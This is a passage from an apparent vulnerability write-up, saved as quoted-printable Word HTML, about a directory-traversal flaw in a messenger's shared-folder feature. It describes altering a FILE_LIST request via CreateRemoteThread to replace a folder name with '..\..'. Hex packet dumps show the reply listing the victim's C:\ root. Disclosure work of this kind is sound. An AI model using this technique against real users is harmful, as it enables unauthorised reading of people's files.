font-family:"MS Reference Sans Serif"'>6F 3E 3C 2F 66 6F 6C 64 65 72 6C =
69 73
74 3E 00 o></folderlist>.<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>00 00 00 00 00
00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
......<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>----------------------------------------------------------------<=
o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>We received target user=A1=AFs =
shared folder
information. <o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>But we can modify send packet =
using
Win32API CraeteRemoteThread<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Just substitu<st1:PersonName =
w:st=3D"on">ted</st1:PersonName>
=A1=AEdebug=A1=AF to =A1=AE..\..=A1=AF<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>[send] Message - ### Socket : =
1088 /
Content-Length : 25<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Content : =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>46 4C 52 4D 20 32 20 46 49 4C 45 =
5F 4C
49 53 54 FLRM 2 FILE_LIST<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>20 31 20 31 20 32 38 0D
0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1 1 28..<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>[send] Message - ### Socket : =
1088 /
Content-Length : 28<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Content : =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>30 20 XX XX XX XX XX XX XX XX 40 =
6E 61
74 65 2E 0 YYYYYYYY@nate.<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>63 6F 6D 20 43 3A 5C 2E 2E 5C 2E
2E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
; com
C:\..\..<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>----------------------------------------------------------------<=
o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>You can see the below messages. =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>[recv] Message - ### Socket : =
1088 /
Content-Length : 9216<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Content : =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>00 4C 52 4D 20 31 20 46 49 4C 45 =
5F 4C
49 53 54 .LRM 1 FILE_LIST<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>20 31 20 31 20 39 38 31 0D 0A 3C =
66 69
6C 65 6C&nbsp; 1 1 981..<filel<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>69 73 74 20 69 64 3D 27 XX XX XX =
XX XX
XX 40 6E ist id=3D'XXXXXX@n<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>61 74 65 2E 63 6F 6D 27 20 61 75 =
74 68 3D
27 32 ate.com' auth=3D'2<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>27 20 70 61 74 68 3D 27 43 3A 5C =
2E 2E
5C 2E 2E ' path=3D'C:\..\..<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>27 20 66 6F 6C 64 65 72 69 64 3D =
27 30
27 3E 3C ' folderid=3D'0'><<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>66 69 6C 65 20 6E 61 6D 65 3D 27 =
41 55
54 4F 45 file name=3D'AUTOE<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>58 45 43 2E 42 41 54 27 20 73 69 =
7A 65
3D 27 30 XEC.BAT' size=3D'0<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>27 20 64 61 74 65 3D 27 32 30 30 =
34 2D
30 39 2D ' date=3D'2004-09-<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>31 35 20 31 36 3A 34 32 3A 30 37 =
27 20
69 73 66 15 <st1:time Minute=3D"42" Hour=3D"16" o:ls=3D"trans" =
w:st=3D"on">16:42:07</st1:time>'
isf<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>6F 6C 64 65 72 3D 27 6E 27 2F 3E =
3C 66
69 6C 65 older=3D'n'/><file<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>20 6E 61 6D 65 3D 27 43 4F 4E 46 =
49 47
2E 53 59&nbsp; name=3D'CONFIG.SY<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>53 27 20 73 69 7A 65 3D 27 30 27 =
20 64
61 74 65 S' size=3D'0' date<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>3D 27 32 30 30 34 2D 30 39 2D 31 =
35 20
31 36 3A =3D'<st1:date Day=3D"15" Month=3D"9" Year=3D"2004" =
o:ls=3D"trans" w:st=3D"on">2004-09-15</st1:date>
16:<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>34 32 3A 30 37 27 20 69 73 66 6F =
6C 64
65 72 3D 42:07' isfolder=3D<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>27 6E 27 2F 3E 3C 66 69 6C 65 20 =
6E 61
6D 65 3D 'n'/><file name=3D<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>27 64 65 73 6B 74 6F 70 5F 61 75 =
64 69
74 2E 74 'desktop_audit.t<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>78 74 27 20 73 69 7A 65 3D 27 32 =
30 38
34 27 20 xt' size=3D'2084' <o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>64 61 74 65 3D 27 32 30 30 35 2D =
30 35
2D 32 34 date=3D'<st1:date Day=3D"24" Month=3D"5" Year=3D"2005" =
o:ls=3D"trans" =
w:st=3D"on">2005-05-24</st1:date><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>20 30 30 3A 32 32 3A 32 38 27 20 =
69 73
66 6F 6C&nbsp; <st1:time Minute=3D"22" Hour=3D"0" o:ls=3D"trans" =
w:st=3D"on">00:22:28</st1:time>'
isfol<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>64 65 72 3D 27 6E 27 2F 3E 3C 66 =
69 6C
65 20 6E der=3D'n'/><file n<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>61 6D 65 3D 27 64 6E 2E 76 62 73 =
27 20
73 69 7A ame=3D'dn.vbs' siz<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>65 3D 27 33 32 34 27 20 64 61 74 =
65 3D
27 32 30 e=3D'324' date=3D'20<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>30 34 2D 31 30 2D 32 30 20 31 38 =
3A 33
31 3A 33 <st1:date Day=3D"20" Month=3D"10" Year=3D"2004" o:ls=3D"trans" =
w:st=3D"on">04-10-20</st1:date>
<st1:time Minute=3D"31" Hour=3D"18" o:ls=3D"trans" =
w:st=3D"on">18:31:3</st1:time><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>38 27 20 69 73 66 6F 6C 64 65 72 =
3D 27
6E 27 2F 8' isfolder=3D'n'/<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>3E 3C 66 69 6C 65 20 6E 61 6D 65 =
3D 27
65 64 69 ><file name=3D'edi<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>2E 65 78 65 27 20 73 69 7A 65 3D =
27 33
32 37 36 .exe' size=3D'3276<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>38 27 20 64 61 74 65 3D 27 32 30 =
30 34
2D 31 30 8' date=3D'2004-10<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>2D 32 30 20 31 38 3A 30 37 3A 30 =
35 27
20 69 73 -20 <st1:time Minute=3D"7" Hour=3D"18" o:ls=3D"trans" =
w:st=3D"on">18:07:05</st1:time>'
is<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>66 6F 6C 64 65 72 3D 27 6E 27 2F =
3E 3C
66 69 6C folder=3D'n'/><fil<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>65 20 6E 61 6D 65 3D 27 6D 73 30 =
34 2D
30 33 32 e name=3D'ms04-032<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>2E 77 6D 66 27 20 73 69 7A 65 3D =
27 35
37 36 27 .wmf' size=3D'576'<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>20 64 61 74 65 3D 27 32 30 30 34 =
2D 31
30 2D 32&nbsp; date=3D'<st1:date Day=3D"2" Month=3D"10" Year=3D"2004" =
o:ls=3D"trans"
w:st=3D"on">2004-10-2</st1:date><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>30 20 31 38 3A 33 33 3A 34 31 27 =
20 69
73 66 6F 0 <st1:time Minute=3D"33" Hour=3D"18" o:ls=3D"trans" =
w:st=3D"on">18:33:41</st1:time>'
isfo<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>6C 64 65 72 3D 27 6E 27 2F 3E 3C =
66 69
6C 65 20 lder=3D'n'/><file <o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>6E 61 6D 65 3D 27 63 6F 6E 63 65 =
72 74
27 20 73 name=3D'concert' s<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>69 7A 65 3D 27 30 27 20 64 61 74 =
65 3D
27 32 30 ize=3D'0' date=3D'20<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>30 34 2D 31 30 2D 32 30 20 31 35 =
3A 31
32 3A 35 <st1:date Day=3D"20" Month=3D"10" Year=3D"2004" o:ls=3D"trans" =
w:st=3D"on">04-10-20</st1:date>
<st1:time Minute=3D"12" Hour=3D"15" o:ls=3D"trans" =
w:st=3D"on">15:12:5</st1:time><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>37 27 20 69 73 66 6F 6C 64 65 72 =
3D 27
79 27 2F 7' isfolder=3D'y'/<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>3E 3C 66 69 6C 65 20 6E 61 6D 65 =
3D 27
64 65 62 ><file name=3D'deb<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>75 67 27 20 73 69 7A 65 3D 27 30 =
27 20
64 61 74 ug' size=3D'0' dat<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>65 3D 27 32 30 30 35 2D 30 35 2D =
32 33
20 31 32 e=3D'<st1:date Day=3D"23" Month=3D"5" Year=3D"2005" =
o:ls=3D"trans" w:st=3D"on">2005-05-23</st1:date>
12<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>3A 34 38 3A 33 37 27 20 69 73 66 =
6F 6C
64 65 72 :48:37' isfolder<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>3D 27 79 27 2F 3E 3C 66 69 6C 65 =
20 6E
61 6D 65 =3D'y'/><file name<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>3D 27 44 6F 63 75 6D 65 6E 74 73 =
20 61
6E 64 20 =3D'Documents and <o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>53 65 74 74 69 6E 67 73 27 20 73 =
69 7A
65 3D 27 Settings' size=3D'<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>30 27 20 64 61 74 65 3D 27 32 30 =
30 34
2D 30 39 0' date=3D'2004-09<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>2D 31 35 20 31 37 3A 30 39 3A 31 =
34 27
20 69 73 -15 <st1:time Minute=3D"9" Hour=3D"17" o:ls=3D"trans" =
w:st=3D"on">17:09:14</st1:time>'
is<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>66 6F 6C 64 65 72 3D 27 79 27 2F =
3E 3C
66 69 6C folder=3D'y'/><fil<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>65 20 6E 61 6D 65 3D 27 50 72 6F =
67 72
61 6D 20 e name=3D'Program <o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>46 69 6C 65 73 27 20 73 69 7A 65 =
3D 27
30 27 20 Files' size=3D'0' <o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>64 61 74 65 3D 27 32 30 30 35 2D =
30 35
2D 32 36 date=3D'<st1:date Day=3D"26" Month=3D"5" Year=3D"2005" =
o:ls=3D"trans" =
w:st=3D"on">2005-05-26</st1:date><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>20 30 38 3A 30 36 3A 31 31 27 20 =
69 73
66 6F 6C&nbsp; <st1:time Minute=3D"6" Hour=3D"8" o:ls=3D"trans" =
w:st=3D"on">08:06:11</st1:time>'
isfol<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>64 65 72 3D 27 79 27 2F 3E 3C 66 =
69 6C
65 20 6E der=3D'y'/><file n<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>61 6D 65 3D 27 74 65 73 74 27 20 =
73 69
7A 65 3D ame=3D'test' size=3D<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>27 30 27 20 64 61 74 65 3D 27 32 =
30 30
35 2D 30 '0' date=3D'2005-0<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>34 2D 32 30 20 31 34 3A 31 35 3A =
34 39
27 20 69 4-20 <st1:time Minute=3D"15" Hour=3D"14" o:ls=3D"trans" =
w:st=3D"on">14:15:49</st1:time>'
i<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>73 66 6F 6C 64 65 72 3D 27 79 27 =
2F 3E
3C 66 69 sfolder=3D'y'/><fi<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>6C 65 20 6E 61 6D 65 3D 27 57 49 =
4E 44
4F 57 53 le name=3D'WINDOWS<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>27 20 73 69 7A 65 3D 27 30 27 20 =
64 61
74 65 3D ' size=3D'0' date=3D<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>27 32 30 30 34 2D 31 30 2D 32 30 =
20 31
36 3A 30 '<st1:date Day=3D"20" Month=3D"10" Year=3D"2004" o:ls=3D"trans" =
w:st=3D"on">2004-10-20</st1:date>
<st1:time Minute=3D"0" Hour=3D"16" o:ls=3D"trans" =
w:st=3D"on">16:0</st1:time><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>30 3A 31 37 27 20 69 73 66 6F 6C =
64 65
72 3D 27 <st1:time Minute=3D"17" Hour=3D"0" o:ls=3D"trans" =
w:st=3D"on">0:17</st1:time>'
